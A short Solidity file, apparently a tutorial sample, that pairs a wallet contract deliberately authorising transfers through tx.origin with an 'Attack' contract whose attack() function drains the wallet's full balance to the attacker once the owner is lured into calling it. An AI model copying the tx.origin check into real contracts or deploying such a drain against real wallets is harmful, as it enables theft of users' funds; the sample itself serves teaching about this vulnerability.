// SPDX-License-Identifier: MIT pragma solidity ^0.8.10; contract Wallet { address public owner; constructor() payable { owner = msg.sender; } // Alice -> Wallet.transfer() (tx.origin = Alice) // Alice -> Eve's malicious contract -> Wallet.transfer() (tx.origin = Alice) function transfer(address payable _to, uint _amount) public { require(tx.origin == owner, "Not owner"); (bool sent, ) = _to.call{value: _amount}(""); require(sent, "Failed to send Ether"); } function getBalance() public view returns(uint) { return address(this).balance; } } contract Attack { address payable public owner; Wallet wallet; constructor(Wallet _wallet) { wallet = Wallet(_wallet); owner = payable(msg.sender); } function attack() public { wallet.transfer(owner, address(wallet).balance); } }